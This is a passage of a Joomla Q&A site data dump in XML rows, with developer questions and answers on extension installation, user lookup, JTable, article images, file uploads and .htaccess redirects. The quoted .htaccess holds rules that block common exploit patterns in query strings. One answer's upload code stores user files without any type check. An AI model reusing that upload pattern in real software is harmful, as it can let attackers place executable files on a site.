com_contenthistory (3.2.0)  1 | com_fields (3.7.0)  1 | com_menus (3.0.0)  1 | com_joomlaupdate (3.6.2)  1 | com_finder (3.0.0)  1 | com_installer (3.0.0)  1 | com_redirect (3.0.0)  1 | com_plugins (3.0.0)  1 | com_cache (3.0.0)  1 | com_search (3.0.0)  1 | com_associations (3.7.0)  1 | com_admin (3.0.0)  1 | [/color]&#xA;        [b]3rd Party:: [/b][color=Brown][/color]&#xA;&#xA;        [b]Modules :: SITE :: [/b]&#xA;        [b] Core :: [/b][color=Blue]mod_tags_similar (3.1.0)  1 | mod_custom (3.0.0)  1 | mod_articles_archive (3.0.0)  1 | mod_articles_popular (3.0.0)  1 | mod_login (3.0.0)  1 | mod_related_items (3.0.0)  1 | mod_whosonline (3.0.0)  1 | mod_articles_categories (3.0.0)  1 | mod_languages (3.5.0)  1 | mod_articles_news (3.0.0)  1 | mod_menu (3.0.0)  1 | mod_random_image (3.0.0)  1 | mod_articles_category (3.0.0)  1 | mod_breadcrumbs (3.0.0)  1 | mod_articles_latest (3.0.0)  1 | mod_finder (3.0.0)  1 | mod_banners (3.0.0)  1 | mod_users_latest (3.0.0)  1 | mod_tags_popular (3.1.0)  1 | mod_feed (3.0.0)  1 | mod_wrapper (3.0.0)  1 | mod_stats (3.0.0)  1 | mod_syndicate (3.0.0)  1 | mod_footer (3.0.0)  1 | mod_search (3.0.0)  1 | [/color]&#xA;        [b]3rd Party:: [/b][color=Brown][/color]&#xA;&#xA;        [b]Modules :: ADMIN :: [/b]&#xA;        [b] Core :: [/b][color=Blue]mod_custom (3.0.0)  1 | mod_toolbar (3.0.0)  1 | mod_login (3.0.0)  1 | mod_title (3.0.0)  1 | mod_privacy_dashboard (3.9.0)  1 | mod_sampledata (3.8.0)  1 | mod_latest (3.0.0)  1 | mod_menu (3.0.0)  1 | mod_latestactions (3.9.0)  1 | mod_quickicon (3.0.0)  1 | mod_multilangstatus (3.0.0)  1 | mod_feed (3.0.0)  1 | mod_stats_admin (3.0.0)  1 | mod_submenu (3.0.0)  1 | mod_logged (3.0.0)  1 | mod_version (3.0.0)  1 | mod_popular (3.0.0)  1 | mod_status (3.0.0)  1 | [/color]&#xA;        [b]3rd Party:: [/b][color=Brown][/color]&#xA;&#xA;        [b]Libraries :: [/b]&#xA;        [b] Core :: [/b][color=Blue][/color]&#xA;        [b]3rd Party:: [/b][color=Brown][/color]&#xA;&#xA;        [b]Plugins :: [/b]&#xA;        [b] Core :: [/b][color=Blue]plg_captcha_recaptcha (3.4.0)  0 | plg_captcha_recaptcha_invisible (3.8)  0 | plg_user_joomla (3.0.0)  1 | plg_user_contactcreator (3.0.0)  0 | plg_user_profile (3.0.0)  0 | plg_user_terms (3.9.0)  0 | plg_authentication_joomla (3.0.0)  1 | plg_authentication_cookie (3.0.0)  1 | plg_authentication_ldap (3.0.0) 0 | plg_authentication_gmail (3.0.0)  0 | plg_finder_categories (3.0.0)  1 | plg_finder_contacts (3.0.0)  1 | plg_finder_tags (3.0.0)  1 | plg_finder_newsfeeds (3.0.0)  1 | plg_finder_content (3.0.0)  1 | plg_search_categories (3.0.0)  1 | plg_search_contacts (3.0.0)  1 | plg_search_tags (3.0.0)  1 | plg_search_newsfeeds (3.0.0)  1 | plg_search_content (3.0.0)  1 | plg_fields_user (3.7.0)  1 | plg_fields_sql (3.7.0)  1 | plg_fields_imagelist (3.7.0)  1 | plg_fields_text (3.7.0)  1 | plg_fields_usergrouplist (3.7.0)  1 | plg_fields_list (3.7.0)  1 | plg_fields_repeatable (3.9.0)  1 | plg_fields_editor (3.7.0)  1 | plg_fields_radio (3.7.0)  1 | plg_fields_media (3.7.0)  1 | plg_fields_color (3.7.0)  1 | plg_fields_checkboxes (3.7.0)  1 | plg_fields_textarea (3.7.0)  1 | plg_fields_url (3.7.0)  1 | plg_fields_integer (3.7.0)  1 | plg_fields_calendar (3.7.0)  1 | plg_editors-xtd_image (3.0.0)  1 | plg_editors-xtd_readmore (3.0.0)  1 | plg_editors-xtd_fields (3.7.0)  1 | plg_editors-xtd_article (3.0.0)  1 | plg_editors-xtd_pagebreak (3.0.0)  1 | plg_editors-xtd_menu (3.7.0)  1 | plg_editors-xtd_module (3.5.0)  1 | plg_privacy_actionlogs (3.9.0)  1 | plg_privacy_user (3.9.0)  1 | plg_privacy_message (3.9.0)  1 | plg_privacy_consents (3.9.0)  1 | plg_privacy_content (3.9.0)  1 | plg_quickicon_phpversioncheck (3.7.0)  1 | plg_quickicon_privacycheck (3.9.0)  1 | plg_quickicon_extensionupdate (3.0.0)  1 | plg_quickicon_joomlaupdate (3.0.0)  1 | plg_extension_joomla (3.0.0)  1 | PLG_SYSTEM_ACTIONLOGS (3.9.0)  1 | plg_system_log (3.0.0)  1 | plg_system_logrotation (3.9.0)  1 | plg_system_sessiongc (3.8.6)  1 | plg_system_updatenotification (3.5.0)  1 | plg_system_languagefilter (3.0.0)  0 | plg_system_languagecode (3.0.0)  0 | plg_system_fields (3.7.0)  1 | plg_system_debug (3.0.0)  1 | plg_system_remember (3.0.0) 1 | plg_system_sef (3.0.0)  1 | plg_system_cache (3.0.0)  0 | plg_system_highlight (3.0.0)  1 | plg_system_p3p (3.0.0)  0 | plg_system_stats (3.5.0)  1 | plg_system_privacyconsent (3.9.0)  0 | plg_system_redirect (3.0.0)  0 | plg_system_logout (3.0.0)  1 | PLG_ACTIONLOG_JOOMLA (3.9.0)  1 | plg_twofactorauth_yubikey (3.2.0)  0 | plg_twofactorauth_totp (3.2.0)  0 | plg_installer_packageinstaller (3.6.0)  1 | PLG_INSTALLER_FOLDERINSTALLER (3.6.0)  1 | PLG_INSTALLER_URLINSTALLER (3.6.0)  1 | plg_content_loadmodule (3.0.0) 1 | plg_content_emailcloak (3.0.0)  1 | plg_content_confirmconsent (3.9.0)  0 | plg_content_joomla (3.0.0)  1 | plg_content_finder (3.0.0)  0 | plg_content_fields (3.7.0)  1 | plg_content_pagebreak (3.0.0)  1 | plg_content_pagenavigation (3.0.0)  1 | plg_content_vote (3.0.0)  0 | [/color]&#xA;        [b]3rd Party:: [/b][color=Brown]plg_editors_codemirror (5.40.0)  1 | plg_editors_tinymce (4.5.11)  1 | [/color]&#xA;    [/size][/quote]&#xA;    [quote=&quot;Templates Discovered ::&quot;][size=85]&#xA;        [b]Templates :: SITE :: [/b][color=Blue]beez3 (3.1.0)[/color]  1 | [color=Blue][b][u]protostar (1.0)[/u][/b][/color] 1 |&#xA;        [b]Templates :: ADMIN :: [/b][color=Blue]hathor (3.0.0)[/color]  1 | [color=Blue][b][u]isis (1.0)[/u][/b][/color]  1 |&#xA;    [/size][/quote]&#xA;[/quote]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can somebody guide to installation?&lt;/p&gt;&#xA;" OwnerUserId="13742" LastEditorUserId="12352" LastEditDate="2019-09-03T22:22:42.653" LastActivityDate="2019-09-03T22:22:42.653" Title="Can't install Fabrik - Warning: Install path does not exist" Tags="|installation|fabrik|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25131" PostTypeId="2" ParentId="25130" CreationDate="2019-09-03T13:19:00.067" Score="0" Body="&lt;p&gt;Just install the ZIP file through the backend of the website using the Joomla Installer.  &lt;br/&gt;&lt;br/&gt;Go to Extensions-&gt;Manage-&gt;Install, then Upload Package File:&lt;br/&gt; &lt;a href=&quot;https://share.getcloudapp.com/2Nu2pvbL&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://share.getcloudapp.com/2Nu2pvbL&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2019-09-03T13:19:00.067" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25132" PostTypeId="1" AcceptedAnswerId="25133" CreationDate="2019-09-03T13:45:27.920" Score="0" ViewCount="1190" Body="&lt;p&gt;I'm making my first component and am trying to get the id of the logged-in user and request some data from the model based on that user id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search around this would return the current user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$user = Factory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;$user&lt;/code&gt; returns as an empty object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\User\User Object ( [isRoot:protected] =&amp;gt; [id] =&amp;gt; 0 [name] =&amp;gt; [username] =&amp;gt; [email] =&amp;gt; [password] =&amp;gt; [password_clear] =&amp;gt; [block] =&amp;gt; [sendEmail] =&amp;gt; 0 [registerDate] =&amp;gt; [lastvisitDate] =&amp;gt; [activation] =&amp;gt; [para.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm currently doing this in my &lt;code&gt;view.html.php&lt;/code&gt; right before &lt;code&gt;$this-&amp;gt;items = $this-&amp;gt;get('Items');&lt;/code&gt; is called. Could it have something to do with the place where im caling &lt;code&gt;getUser()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13743" LastActivityDate="2019-09-03T14:16:31.367" Title="Getting user id of logged in user in component" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25133" PostTypeId="2" ParentId="25132" CreationDate="2019-09-03T14:11:21.613" Score="3" Body="&lt;p&gt;You are doing it right but your user object is not empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[id] =&gt; 0 because the current user is not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to login and do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$user = Factory::getUser();&#xA;if ($user-&amp;gt;id &amp;gt; 0)&#xA;{&#xA;   echo 'Hello ' . $user-&amp;gt;name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2019-09-03T14:16:31.367" LastActivityDate="2019-09-03T14:16:31.367" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25134" PostTypeId="1" AcceptedAnswerId="25149" CreationDate="2019-09-03T17:24:42.350" Score="1" ViewCount="94" Body="&lt;p&gt;If I add a weblink via JCE the link will be added with &lt;code&gt;&amp;amp;task=weblink.go&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what is it, and in wich file will this evaluated?&lt;/p&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="126" LastEditDate="2019-09-23T07:38:15.957" LastActivityDate="2019-09-23T07:38:15.957" Title="Weblink with JCE add &amp;task=weblink.go" Tags="|joomla-3.x|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25135" PostTypeId="1" CreationDate="2019-09-03T18:44:13.237" Score="1" ViewCount="594" Body="&lt;p&gt;I work on a custom Joomla module that would let users to upload profile images. I created a JForm and wanted to use the form field type &quot;file&quot; as below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;Photo&quot; type=&quot;file&quot; label=&quot;Profile photo&quot; size=&quot;10&quot; accept=&quot;image/*&quot; /&amp;gt;&#xA;&amp;lt;field&#xA;    name=&quot;MAX_FILE_SIZE&quot;&#xA;    value=&quot;5242880&quot;&#xA;    type=&quot;hidden&quot;&#xA;/&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form looks good and I can browse any images from my computer and submit the form. However when I dump the posted fields, I can see that my photo field has a simple string with the name of the image, not even the path of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is to grab that image, check if it is safe, upload it and put it into a specified Joomla folder under the images folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like a common use case, but I was not able to find any description explaining the whole chain. So any hints, links, explanation, code samles would be higly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, &#xA;w. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2019-09-04T20:59:26.807" Title="Front-end custom Joomla module to upload an image and save it in the Joomla images folder" Tags="|module|jform|front-end|images|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25136" PostTypeId="1" AcceptedAnswerId="25138" CreationDate="2019-09-04T05:26:23.190" Score="1" ViewCount="78" Body="&lt;p&gt;I want to store a category record from controller by using &lt;code&gt;JTable&lt;/code&gt;. My working code is-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = JTable::getInstance('Category');&#xA;$data = array('id' =&amp;gt; 0, 'parent_id' = 1, 'path' =&amp;gt; 'demo', 'level' =&amp;gt; 1, 'title' =&amp;gt; 'demo');&#xA;&#xA;if ($table-&amp;gt;bind($data)) {&#xA;    $table-&amp;gt;store(true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code section store the record into &lt;code&gt;#__categories&lt;/code&gt; table but problem is it stores &lt;code&gt;parent_id = 0&lt;/code&gt; and &lt;code&gt;level = 0&lt;/code&gt; always. How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="12609" LastActivityDate="2019-09-04T11:57:51.947" Title="Store category record using JTable instance from controller" Tags="|category|jtable|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25137" PostTypeId="1" AcceptedAnswerId="25141" CreationDate="2019-09-04T10:19:04.877" Score="3" ViewCount="304" Body="&lt;p&gt;I generate/update several articles through a PHP script (in the cli folder) that parses an external data source (custom tables). This works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if an article has not yet an image, the script must give it a random one.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($arr_articles as $custom_id =&amp;gt; $article_data)&#xA;{&#xA;    // test if article exists&#xA;    $sql = 'SELECT '.$db-&amp;gt;quoteName('item_id')&#xA;        .' FROM '.$db-&amp;gt;quoteName($db_prefix.'fields_values')&#xA;        .' WHERE '.$db-&amp;gt;quoteName('field_id').' = 14 ' # my custom id&#xA;        .' AND '.$db-&amp;gt;quoteName('value').' = '.$db-&amp;gt;quote($custom_id);&#xA;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $article_id = $db-&amp;gt;loadResult();&#xA;&#xA;    $jarticle = JTable::getInstance('content');&#xA;&#xA;    $article_has_image = False;&#xA;&#xA;    if(!is_null($article_id))&#xA;    {&#xA;        // article exists, load it&#xA;        $jarticle-&amp;gt;load($article_id);&#xA;&#xA;        // and look for its images&#xA;        $images = json_decode($jarticle-&amp;gt;images);&#xA;        if(isset($images-&amp;gt;image_fulltext) &amp;amp;&amp;amp; !empty($images-&amp;gt;image_fulltext))&#xA;        {&#xA;            $article_has_image = True;&#xA;        }&#xA;    }&#xA;    if(! $article_has_image)&#xA;    {&#xA;         //set new one&#xA;         $filepath = getRandomImage();&#xA;         $jarticle-&amp;gt;set('image_fulltext',$filepath);&#xA;    }&#xA;    //do more stuff, update custom fields...&#xA;    //save&#xA;    $jarticle-&amp;gt;store();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getRandomImage()&lt;/code&gt; gets an absolute filepath on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attempt with &lt;code&gt;$jarticle-&amp;gt;set('image_fulltext',$filepath);&lt;/code&gt; does not seems to do anything, is there a better way to set the images (fulltext_image and intro_image) ?&lt;/p&gt;&#xA;" OwnerUserId="3488" LastActivityDate="2019-09-05T12:42:44.157" Title="Programmatically set article image" Tags="|php|articles|images|php7|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25138" PostTypeId="2" ParentId="25136" CreationDate="2019-09-04T11:57:51.947" Score="1" Body="&lt;p&gt;I get the solution by the help of @mickmackusa and using this forum link &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=592653&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=592653&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final code is now&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = JTable::getInstance('Category');&#xA;$data = array('id' =&amp;gt; 0, 'parent_id' = 1, 'path' =&amp;gt; 'demo', 'level' =&amp;gt; 1, 'title' =&amp;gt; 'demo');&#xA;&#xA;if ($table-&amp;gt;bind($data)) {&#xA;    if ($table-&amp;gt;store(true)) {&#xA;        $table-&amp;gt;moveByReference(0, 'last-child', $table-&amp;gt;id); // this method generates the original parent_id and level for me.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12609" LastActivityDate="2019-09-04T11:57:51.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25140" PostTypeId="2" ParentId="25135" CreationDate="2019-09-04T20:59:26.807" Score="1" Body="&lt;p&gt;After some more googling and debugging, I figured it out. The trick was that I'm using a JForm and the file field can be accessed slightly differently. First you need to access the fields tag and then the file field itself (see the bold line below): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form xml: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/modules/mod_gng_regguide/models/fields&quot;&amp;gt;&#xA;...&#xA;        &amp;lt;field name=&quot;photo&quot; type=&quot;file&quot; label=&quot;Profile photo&quot;/&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the code to upload the image: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function uploadPhoto(GNGLocation $loc) {&#xA;&#xA;        $input = JFactory::getApplication()-&amp;gt;input;&#xA;        **$file  = $input-&amp;gt;files-&amp;gt;get('main')[&quot;photo&quot;];** &#xA;&#xA;&#xA;        // Cleans the name of the file by removing weird characters&#xA;        $filename = JFile::makeSafe($file['name']); &#xA;&#xA;        $src  = $file['tmp_name'];&#xA;        $dest = JPATH_SITE . &quot;/images/Guides/&quot; . $loc-&amp;gt;get('name') . &quot;/&quot; . $filename;&#xA;&#xA;        if (JFile::upload($src, $dest)) &#xA;        {&#xA;            // The file has successfully been uploaded :)&#xA;        } &#xA;        else &#xA;        {&#xA;            // Oh crap, something happened. Run!&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2019-09-04T20:59:26.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25141" PostTypeId="2" ParentId="25137" CreationDate="2019-09-04T22:22:18.343" Score="2" Body="&lt;p&gt;I don't see &lt;code&gt;set()&lt;/code&gt; in the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Table.Table.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JTable docs&lt;/a&gt;.  You also need to remember to re-encode the full column value before storing.  The following is an untested snippet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(db-&amp;gt;qn(&quot;item_id&quot;))&#xA;            -&amp;gt;from($db-&amp;gt;qn(&quot;#__fields_values&quot;));  // build all of the non-changing clauses for the query&#xA;$where = [$db-&amp;gt;qn('field_id') . &quot; = 14&quot;];  // declare the first condition for the WHERE clause&#xA;&#xA;foreach ($arr_articles as $custom_id =&amp;gt; $article_data)&#xA;{&#xA;    // only modify the where clause within the loop (re-use the rest of the query string)&#xA;    $where[1] = $db-&amp;gt;qn('value') . ' = ' . (int)$custom_id;  // declare the new/second condition for the WHERE clause&#xA;    $query-&amp;gt;clear('where')-&amp;gt;where($where);  // append fresh where conditions to query&#xA;&#xA;    $article_id = $db-&amp;gt;setQuery($query)-&amp;gt;loadResult();&#xA;    if ($article_id)&#xA;    {&#xA;        $jarticle = JTable::getInstance('content');  // I am not sure if this can be declared before the foreach (reused like $db)&#xA;        $jarticle-&amp;gt;load($article_id);&#xA;        $imageData = json_decode($jarticle-&amp;gt;images);  // string to object&#xA;        if(empty($imageData-&amp;gt;image_fulltext))&#xA;        {&#xA;            $imageData-&amp;gt;image_fulltext = getRandomImage();  // modify object property&#xA;            $jarticle-&amp;gt;images = json_encode($imageData);  // object back to string and overwrite the fetched property&#xA;        }&#xA;        //do more stuff, update custom fields...&#xA;        $jarticle-&amp;gt;store();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-09-05T12:42:44.157" LastActivityDate="2019-09-05T12:42:44.157" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25142" PostTypeId="1" CreationDate="2019-09-05T09:03:44.483" Score="3" ViewCount="1625" Body="&lt;p&gt;I recently redesigned a site and there are loads of 404 pages, so to simplify things I want to add a redirect to my htaccess, redirecting any 404 pages to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though it was as simple as adding this line to my htaccess file;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorDocument 404 https://www.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've done this but it doesn't appear to be working. When I visit a URL on my site that doesn't exist (example.com/someLink), I'm still seeing a 404 page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Joomla system redirect plugin is disabled. &lt;/li&gt;&#xA;&lt;li&gt;I don't have any 3rd party SEO or redirect plugins installed.&lt;/li&gt;&#xA;&lt;li&gt;I have no other modifications to the .htaccess file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My current .htaccess file contents are below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line 'Options +FollowSymLinks' may cause problems with some server configurations.&#xA;# It is required for the use of mod_rewrite, but it may have already been set by your&#xA;# server administrator in a way that disallows changing it in this .htaccess file.&#xA;# If using it causes your site to produce an error, comment it out (add # to the&#xA;# beginning of the line), reload your site in your browser and test your sef urls. If&#xA;# they work, then it has been set by your server administrator and you do not need to&#xA;# set it here.&#xA;##&#xA;&#xA;## No directory listings&#xA;&amp;lt;IfModule autoindex&amp;gt;&#xA;  IndexIgnore *&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Suppress mime type detection in browsers for unknown types&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;Header always set X-Content-Type-Options &quot;nosniff&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site then comment out the operations listed&#xA;# below by adding a # to the beginning of the line.&#xA;# This attempts to block the most common type of exploit `attempts` on Joomla!&#xA;#&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;&#xA;ErrorDocument 404 https://www.example.com&#xA;&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment the following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2021-07-25T22:07:20.703" Title="htaccess 404 Redirect Not Working" Tags="|url|.htaccess-configuration|redirect|migration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25143" PostTypeId="1" AcceptedAnswerId="25146" CreationDate="2019-09-05T10:46:35.743" Score="0" ViewCount="655" Body="&lt;p&gt;I am trying to create a custom component in my Joomla backend, so I created this xml file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;component&quot; version=&quot;3.8.1&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;administratie&amp;lt;/name&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;2019-04-09&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;author&amp;gt;Twan&amp;lt;/author&amp;gt;&#xA;&amp;lt;authorEmail&amp;gt;you@example.com&amp;lt;/authorEmail&amp;gt;&#xA;&amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt;&#xA;&amp;lt;description&amp;gt;Administratie dashboard&amp;lt;/description&amp;gt;&#xA;&amp;lt;administration&amp;gt;&#xA;&amp;lt;menu&amp;gt;administratie&amp;lt;/menu&amp;gt;&#xA;&#xA;&amp;lt;files folder=&quot;components/com_administratie/admin&quot;&amp;gt;&#xA;&amp;lt;file&amp;gt;administratie.php&amp;lt;/file&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;/administration&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And installed it, which worked, the &lt;code&gt;administratie&lt;/code&gt; link is added in my components drop down, except when I click on it, the page shows a &lt;code&gt;404 component not found&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I wrote something wrong in my xml file? I can't find what it is. This is my folder structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator&#xA;-components&#xA;--com_administratie&#xA;---admin&#xA;---administratie.xml&#xA;----administratie.php (this file has a simple echo in it)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already tried refreshing the cache but I keep getting the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on Joomla version: &lt;code&gt;Joomla! 3.8.1 Stable&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2019-09-06T00:14:59.187" Title="Joomla 404 component not found (custom component)" Tags="|joomla-3.x|component|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25144" PostTypeId="2" ParentId="15178" CreationDate="2019-09-05T12:49:15.800" Score="2" Body="&lt;p&gt;I had exactly the same problem in two sites: &lt;strong&gt;Global Configuration page is showing without any layout or buttons.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That worked for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;bclass.php&lt;/strong&gt; file placed in:&#xA;PATH_TO_JOOMLA_SITE/libraries/joomla/database/driver&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After &lt;strong&gt;removing that file&lt;/strong&gt;, the Global Configuration page went back to normal.&#xA;Apparently this was a file from when the site is hacked.&lt;/p&gt;&#xA;" OwnerUserId="12359" LastActivityDate="2019-09-05T12:49:15.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
